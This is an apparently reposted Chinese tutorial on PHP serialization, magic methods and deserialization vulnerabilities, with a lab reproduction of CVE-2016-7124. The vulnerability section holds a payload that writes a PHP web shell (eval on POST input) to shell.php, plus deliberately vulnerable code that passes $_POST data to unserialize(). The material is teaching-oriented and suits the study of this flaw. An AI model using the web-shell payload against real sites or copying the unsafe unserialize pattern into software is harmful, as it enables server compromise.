PHP序列化和反序列化漏洞简单介绍

序列化和反序列化概念及其实现函数

序列化:就是将一个对象转换为字节序列以便于保存和传输。
serialize()函数
例子:

<?php
class People {
    public $name;
    public $age;
    public function __construct($name, $age)
    {
          $this->name = $name;
          $this->age = $age;
    }
}
$number = 123;
$str = 'abc';
$bool = true;
$null = NULL;
$arr = array('a'=>1, 'b'=>2);
$tom = new People('tom', 18);

var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($null));
var_dump(serialize($arr));
var_dump(serialize($tom));
?>

输出:
string(6) "i:123;"
i表示Integer类型
string(10) "s:3:"abc";"
s表示String类型
3表示长度
string(4) "b:1;"
b表示Boolean类型
string(2) "N;"
N表示Null类型
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
a表示Array类型
2表示Array元素个数
"O:6:"People":4:{s:4:"name";s:3:"tom";s:3:"age";i:18;s:6:"*sex";s:3:"man";s:13:"Peoplehobby";s:8:"football";}"
O表示Object类型
6表示类名占6个字符
People 类名
4表示4个属性
s表示字符串
4表示属性名长度
name 属性名
tom 属性值

这里需要注意一下protected被序列化的时候属性值会变成%00*%00属性名,private会变成%00类名%00属性名。%00是空白符,长度为1。在反序列化,也应加上相应的%00。

反序列化:是序列化的可逆过程,将字节序列重新恢复成对象。
unserialize()函数
例子:

<?php
class People {
    public $name;
    public $age;
    public $sex;
    
    public function __construct($name, $age, $sex)
    {
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;
    }
}
$tom = 'O:6:"People":3:{s:4:"name";s:3:"tom";s:3:"age";i:18;s:3:"sex";s:3:"man";}';
var_dump(unserialize($tom));
?>

输出:
object(People)#1 (3) { ["name"]=> string(3) "tom" ["age"]=> int(18) ["sex"]=> string(3) "man" }

魔术方法

__sleep():在serialize()函数序列化对象时,该函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会被调用,然后才执行序列化操作。可以通过重载这个方法,从而自定义序列化行为。
例子:

<?php
class People {
    public $name;
    public $age;
	public $sex;
    
	public function __construct($name, $age, $sex)
    {
        $this->name = $name;
        $this->age = $age;
		$this->sex = $sex;
    }
	
	public function __sleep()
	{
		//返回需要序列化的变量名,过滤掉sex变量
		return array('name', 'age');
	}
}
$tom = new People('tom', 18, 'man');
var_dump(serialize($tom));
?>

输出:
string(53) "O:6:"People":2:{s:4:"name";s:3:"tom";s:3:"age";i:18;}"
__wakeup():在unserialize()函数进行反序列化时,会检查类中是否存在__wakeup(),如果存在,__wakeup()方法会对属性进行初始化或者修改。
例子:

<?php
class People {
    public $name;
    public $age;
	public $sex;
    
	public function __construct($name, $age, $sex)
    {
        $this->name = $name;
        $this->age = $age;
		$this->sex = $sex;
    }
	
	public function __wakeup()
	{
		$this->age = 18;
	}
}
$tom = 'O:6:"People":3:{s:4:"name";s:3:"tom";s:3:"age";i:38;s:3:"sex";s:3:"man";}';
var_dump(unserialize($tom));
?>

输出:
object(People)#1 (3) { ["name"]=> string(3) "tom" ["age"]=> int(18) ["sex"]=> string(3) "man" }
其它一些魔术方法

  • __construct()//创建对象时触发
  • __destruct()//对象被销毁时触发
  • __call() //在对象上下文中调用不可访问的方法时触发
  • __callStatic() //在静态上下文中调用不可访问的方法时触发
  • __get() //用于从不可访问的属性读取数据
  • __set() //用于将数据写入不可访问的属性
  • __isset() //用于在不可访问的属性上调用isset()或empty()触发
  • __unset() //在不可访问的属性上使用unset()时触发
  • __toString() //把类当作字符串使用时触发,返回值需要为字符串
  • __invoke() //当脚本尝试将对象调用为函数时触发

反序列化漏洞

如果传入反序列化函数的参数可控,并且存在一些魔术方法,就有可能触发造成反序列化漏洞。
实例1

在第19行,unserialize函数对传入的info进行了反序列,并将得到的对象赋给了$a,在第21行将$a进行了销毁。在SaveData类中存在着魔术方法__destruct(),该方法中调用了SaveFile()函数用于保存数据到文件中。所有可以通过构造SaveData类的实例,构造一句话,写入当前路径。
payload:

O:8:"SaveData":3:{s:8:"dataFile";s:11:"./shell.php";s:7:"tmpData";s:28:"<?php eval($_POST['cmd']);?>";s:4:"name";s:6:"XiaoLi";}

实验结果:

实例2
CVE-2016-7124(__wakeup()函数失效可绕过)

  • 漏洞影响版本:
    PHP5 < 5.6.25
    PHP7 < 7.0.10
  • 漏洞分析:
    __wakeup()触发在unserulize()调用之前,但是被序列化的字符串中成员属性数目大于实际数目时可绕过__wakeup()函数的执行。
  • 漏洞复现
<?php
    /*index.php*/
    error_reporting(0);
    include 'wakeupTest.php';
    $b = unserialize($_POST['info']);
    unset($a);
?>
<?php
/*wakeupTest.php*/
class User{
    public $name = 'guest';
    public $age = 10;
    public $flag = 'Yes';
    public function __construct($name, $age)
    {
        $this->name = $name;
        $this->age = $age;
    }
    public function __wakeup()
    {
        if($this->age <= 18)
        {
            $this->flag = 'No';
        }
    }
    public function __destruct()
    {
        if($this->flag == 'Yes')
        {
            echo "flag{GoodMan}";
        }
        else
        {
            echo "Banning";
        }
    }
}
?>
  • 漏洞利用
    在wakeupTest.php中的__wakeup()会在反序列化时,根据类中的age大小对flag进行修改,而__destruct()会在对象销毁时调用,并输出相应内容。
    首先构造反序列内容:
O:4:"User":3:{s:4:"name";s:6:"XiaoLi";s:3:"age";i:15;s:4:"flag";s:3:"Yes";}

如果我们直接上传,会得到:

根据漏洞分析中的条件修改一下,把User后的3改成4:

O:4:"User":4:{s:4:"name";s:6:"XiaoLi";s:3:"age";i:15;s:4:"flag";s:3:"Yes";}

原文地址:https://www.cnblogs.com/Son01/p/12939859.html